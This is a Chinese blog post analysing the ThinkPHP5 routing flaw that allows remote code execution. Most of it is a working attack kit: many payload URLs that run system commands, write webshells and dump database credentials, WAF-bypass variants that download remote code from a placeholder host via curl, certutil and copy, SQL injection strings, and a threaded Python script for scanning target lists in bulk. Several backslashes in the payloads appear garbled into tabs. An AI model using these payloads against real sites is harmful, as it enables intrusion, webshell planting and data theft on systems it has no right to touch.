• 22.ThinkPHP5框架缺陷导致远程命令执行


    前言:

    昨天爆出了ThinkPHP5框架缺陷导致远程命令执行,大佬们都赶上潮流挖洞,小白还是默默学习一下这个漏洞

    漏洞影响范围:

    Thinkphp 5.1.0 - 5.1.31
    Thinkphp 5.0.5 - 5.0.23

    漏洞产生原因:

    Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在 admin,index 模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行。

    漏洞分析:

    既然是没有正确处理控制器名 $controller ,从最开始获取控制器名的代码来看:

    发现在 $controller 中有过滤字符串中的 HTML 标签的strip_tags()函数,网站没有开启强制路由,问题可能出现在路由调度时,来看执行路由调度的代码:

    其中使用了 $this->app->controller 的方法来实例化控制器,然后调用实例化中的方法,跟进controller方法:

    其中通过 parseModuleAndClass 方法解析出 $module$class。然后实例化 $class

    着重看一下 parseModuleAndClass 方法:

    发现 $name 如果以反斜线开始时,直接进入第一个if判断,将 $name 直接作为类名,如果可以控制 $name (即路由中的controller部分),那么就可以实例化任何一个类。

    回看路由解析代码,其中的 parseUrl 方法调用了 parseUrlPath 方法来解析 $url ,也就是 pathinfo 中的路由信息

    来看 parseUrlPath 如何解析 $url :

    使用/对 $url 进行分割,未进行任何过滤,其中路由url从path()中获取。

    这里 Config::get('var_pathinfo') 是配置文件中的设置的参数,'var_pathinfo' 的默认配置为s,我们可以利用
    $_GET['s']来传递路由信息,也可以利用pathinfo来传递,
    但测试时windows环境会将$_SERVER['pathinfo']中的
    替换为/。结合前面分析可得初步利用代码如下:
    index.php?s=index/namespaceclass/method,
    这将会实例化namespaceclass并执行method方法。

    漏洞复现:

     1. 代码执行

    /index.php?s=index/	hinkapp/invokefunction&function=phpinfo&vars[0]=100

     

    /index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

    2.任意文件写入

    /index.php?s=/index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码

    把一句话 <?php phpinfo()?> 进行url编码:%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3f%3e

    写入文件:

    尝试访问shell.php:

    写入成功!

    放出一些payload:

    1. /index.php?s=index/	hinkRequest/input&filter=phpinfo&data=1
    2. /index.php?s=index/	hinkRequest/input&filter=system&data=id
    3. /index.php?s=index/	hink	emplatedriverfile/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
    4. /index.php?s=index/	hinkviewdriverPhp/display&content=%3C?php%20phpinfo();?%3E
    5. /index.php?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    6. /index.php?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    7. /index.php?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    8. /index.php?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    9. /index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['joker']);&joker=system("whoami");
    10. /index.php?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=print_r(file_put_contents(%27xx.php%27,file_get_contents(%27https://www.baidu.com/x.txt%27)))
    (先file_get_contents读取远程文件内容为一句话 然后file_put_contents在当前目录下写入文件  而且不带<>)

    给出tdcoming大佬批量检测脚本:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    '''
    name: thinkphp远程代码检测
    description: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
    '''
    
    
    import re
    import sys
    import requests
    import queue
    import threading
    from bs4 import BeautifulSoup
    class thinkphp_rce(threading.Thread):
        def __init__(self, q):
            threading.Thread.__init__(self)
            self.q = q
        def run(self):
            while not self.q.empty():
                url=self.q.get()
                headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
                payload = r"/?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
                vulnurl = url + payload
                try:
                    response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False)
                    
                    soup = BeautifulSoup(response.text,"lxml")
                    if 'PHP Version' in str(soup.text):
                        print ('[+] Remote code execution vulnerability exists at the target address')
                        print ('[+] Vulnerability url address ' + vulnurl)
                        with open('target.txt','a') as f1:
                            f1.write(vulnurl+'
    ')
                        f1.close()
                    else:
                        print ('[-] There is no remote code execution vulnerability in the target address')
                except:
                    print ('[!] Destination address cannot be connected')
    def urlget():
        with open('url.txt','r')as f:
            urls=f.readlines()
            for tmp in urls:
                if '//' in tmp:
                    url=tmp.strip('
    ')
                    urlList.append(url)
                else:
                    url='http://'+tmp.strip('
    ')
                    urlList.append(url)
            return(urlList)
        f.close()
    
    if __name__=="__main__":
        print('''----------------扫描开始-------------------
    
    *Made by  :tdcoming
    *For More :https://t.zsxq.com/Ai2rj6E
    *MY Heart :https://t.zsxq.com/A2FQFMN
    
    
                  _______   _                         _               
                 |__   __| | |                       (_)              
                    | |  __| |  ___  ___   _ __ ___   _  _ __    __ _ 
                    | | / _` | / __|/ _  | '_ ` _  | || '_   / _` |
                    | || (_| || (__| (_) || | | | | || || | | || (_| |
                    |_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, |
                                                                 __/ |
                                                                |___/ 
                ''')
        urlList=[]
        urlget()
        threads = []
        threads_count = 10
        q=queue.Queue()
        for url in urlList:
            q.put(url)
        for i in range(threads_count):
            threads.append(thinkphp_rce(q))
        for i in threads:
            i.start()
        for i in threads:
            i.join()

    1、将要检测的目标放在url.txt里面
    2、如果存在漏洞的地址将自动生成一个target.txt文本保存

    漏洞poc:

    https://github.com/heroanswer/thinkphp_rce_poc

    -----------------------

    于2020.01.20补充

    在公众号上发现有人对thinkphp 5.x.x 的漏洞poc进行了总结

    Thinkphp 5.0.5

    waf对eval进行了拦截
    禁止了assert函数
    对eval函数后面的括号进行了正则过滤
    对file_get_contents函数后面的括号进行了正则过滤
    http:
    //www.xxxx.com/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>

    Thinkphp 5.0.11

    http://www.xxxx.cn/?s=admin/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php

    Thinkphp 5.0.14

    eval('')和assert('')被拦截,命令函数被禁止
    http://www.xxxx.com/?s=admin/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
    http://www.xxx.com/?s=admin/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
    php7.2
    http://www.xxxx.cn/?s=admin/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
    http://www.xxxx.cn/?s=admin/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>
    写进去发现转义了尖括号
    通过copy函数
    http://www.xxxx.cn/?s=admin/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php

    Thinkphp 5.0.18

    windows
    http://www.xxxx.com/?s=admin/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
    http://www.xxxx.com/?s=admin/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
    
    使用certutil
    http://www.xxxx.com/?s=admin/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php
    由于根目录没写权限,所以写到uploads

    Thinkphp 5.1.* 和 5.2.* 和 5.0.*

    (post)public/index.php (data)c=exec&f=calc.exe&_method=filter

    Thinkphp 5.0.10(完整版)

    (post)public/index.php?s=index/index/index 
    (data)s=whoami&_method=__construct&method&filter[]=system

    Thinkphp 5.0.21

    http://localhost/thinkphp_5.0.21/?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    http://localhost/thinkphp_5.0.21/?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

    Thinkphp 5.0.22

    http://192.168.1.1/thinkphp/public/?s=.|thinkconfig/get&name=database.username
    http://192.168.1.1/thinkphp/public/?s=.|thinkconfig/get&name=database.password
    http://url/to/thinkphp_5.0.22/?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    http://url/to/thinkphp_5.0.22/?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

    Thinkphp 5.0.23(完整版)

    (post)public/index.php?s=captcha 
    (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

    Thinkphp 5.0.23(完整版)Debug 模式

    (post)public/index.php 
    (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

    Thinkphp 5.1.*

    http://url/to/thinkphp5.1.29/?s=index/	hinkRequest/input&filter=phpinfo&data=1
    http://url/to/thinkphp5.1.29/?s=index/	hinkRequest/input&filter=system&data=cmd
    http://url/to/thinkphp5.1.29/?s=index/	hink	emplatedriverfile/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
    http://url/to/thinkphp5.1.29/?s=index/	hinkviewdriverPhp/display&content=%3C?php%20phpinfo();?%3E
    http://url/to/thinkphp5.1.29/?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    http://url/to/thinkphp5.1.29/?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
    http://url/to/thinkphp5.1.29/?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    http://url/to/thinkphp5.1.29/?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

    Thinkphp 5.1.18

    http://www.xxxxx.com/?s=admin/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
    所有目录都无写权限,base64函数被拦截
    http://www.xxxx.com/?s=admin/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])

    Thinkphp 未知版本

    ?s=index/	hinkmodule/action/param1/${@phpinfo()}
    ?s=index/	hinkModule/Action/Param/${@phpinfo()}
    ?s=index/	hink/module/aciton/param1/${@print(THINK_VERSION)}
    index.php?s=/home/article/view_recent/name/1'
    header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
    index.php?s=/home/shopcart/getPricetotal/tag/1%27
    index.php?s=/home/shopcart/getpriceNum/id/1%27
    index.php?s=/home/user/cut/id/1%27
    index.php?s=/home/service/index/id/1%27
    index.php?s=/home/pay/chongzhi/orderid/1%27
    index.php?s=/home/pay/index/orderid/1%27
    index.php?s=/home/order/complete/id/1%27
    index.php?s=/home/order/complete/id/1%27
    index.php?s=/home/order/detail/id/1%27
    index.php?s=/home/order/cancel/id/1%27
    index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+
    
    POST /index.php?s=/home/user/checkcode/ HTTP/1.1
    Content-Disposition: form-data; name="couponid"1') union select sleep('''+str(sleep_time)+''')#

    当 Php7 以上无法使用 Assert 的时候用

    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo();
    有上传图片或者日志用这个包含就可以

    参考链接:
    https://bbs.ichunqiu.com/thread-48687-1-1.html?tdsourcetag=s_pcqq_aiomsg
    http://www.thinkphp.cn/topic/60400.html
    http://www.thinkphp.cn/topic/60390.html
    https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce

    http://www.rai4over.cn/2018/12/12/Thinkphp5-x%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

  • 相关阅读:
    UILabel 详解
    didMoveToSuperView 引发的思考
    Source
    设计模式
    Code ReView
    UIApearance
    UINavigationBar
    initWithNibName与viewDidLoad的执行关系以及顺序
    bLock 回调 就是这么简单!
    程序语言小记
  • 原文地址:https://www.cnblogs.com/bmjoker/p/10110868.html
Copyright © 2020-2023  润新知